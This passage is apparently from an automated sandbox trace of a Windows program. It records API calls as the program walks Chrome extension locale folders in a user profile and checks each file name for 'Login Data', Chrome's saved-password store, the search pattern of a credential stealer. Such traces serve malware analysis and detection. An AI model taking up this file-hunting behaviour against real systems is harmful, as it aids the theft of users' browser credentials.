Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0079.277] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 122 [0079.277] lstrlenA (lpString="de") returned 2 [0079.277] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0079.277] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="de" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de" [0079.277] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de") returned 124 [0079.277] lstrlenA (lpString="\\*.*") returned 4 [0079.277] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de" [0079.277] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\*.*" [0079.277] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.277] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.277] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0079.278] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.278] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.278] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0079.278] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.278] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.278] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.278] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0079.278] lstrcmpiA (lpString1=".", lpString2="el") returned -1 [0079.278] lstrcmpiA (lpString1="..", lpString2="el") returned -1 [0079.278] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0079.278] lstrlenA (lpString="\\") returned 1 [0079.278] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0079.278] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0079.278] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 122 [0079.278] lstrlenA (lpString="el") returned 2 [0079.278] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0079.278] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="el" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el" [0079.278] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el") returned 124 [0079.278] lstrlenA (lpString="\\*.*") returned 4 [0079.278] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el" [0079.278] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\*.*" [0079.278] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.278] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.278] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0079.278] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.278] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.279] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0079.279] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.279] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.279] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.279] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0079.279] lstrcmpiA (lpString1=".", lpString2="en_GB") returned -1 [0079.279] lstrcmpiA (lpString1="..", lpString2="en_GB") returned -1 [0079.279] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0079.279] lstrlenA (lpString="\\") returned 1 [0079.279] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0079.279] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0079.279] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 122 [0079.279] lstrlenA (lpString="en_GB") returned 5 [0079.279] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0079.279] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="en_GB" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB" [0079.279] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB") returned 127 [0079.279] lstrlenA (lpString="\\*.*") returned 4 [0079.279] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB" [0079.279] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\*.*" [0079.279] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.279] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.279] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0079.279] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.279] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.279] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0079.279] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.279] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.280] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.280] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0079.280] lstrcmpiA (lpString1=".", lpString2="en_US") returned -1 [0079.280] lstrcmpiA (lpString1="..", lpString2="en_US") returned -1 [0079.280] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0079.280] lstrlenA (lpString="\\") returned 1 [0079.280] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0079.280] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0079.280] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 122 [0079.280] lstrlenA (lpString="en_US") returned 5 [0079.280] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0079.280] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="en_US" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US" [0079.280] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US") returned 127 [0079.280] lstrlenA (lpString="\\*.*") returned 4 [0079.280] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US" [0079.280] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\*.*" [0079.280] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.280] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.280] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0079.280] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.280] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.280] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0079.280] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.280] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.280] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.281] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0079.281] lstrcmpiA (lpString1=".", lpString2="es") returned -1 [0079.281] lstrcmpiA (lpString1="..", lpString2="es") returned -1 [0079.281] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0079.281] lstrlenA (lpString="\\") returned 1 [0079.281] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0079.281] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0079.281] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 122 [0079.281] lstrlenA (lpString="es") returned 2 [0079.281] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0079.281] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="es" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es" [0079.281] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es") returned 124 [0079.281] lstrlenA (lpString="\\*.*") returned 4 [0079.281] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es" [0079.281] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\*.*" [0079.281] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.281] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.281] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0079.281] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.281] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.281] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0079.281] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.281] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.281] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.281] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0079.282] lstrcmpiA (lpString1=".", lpString2="es_419") returned -1 [0079.282] lstrcmpiA (lpString1="..", lpString2="es_419") returned -1 [0079.282] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0079.282] lstrlenA (lpString="\\") returned 1 [0079.282] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0079.282] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User 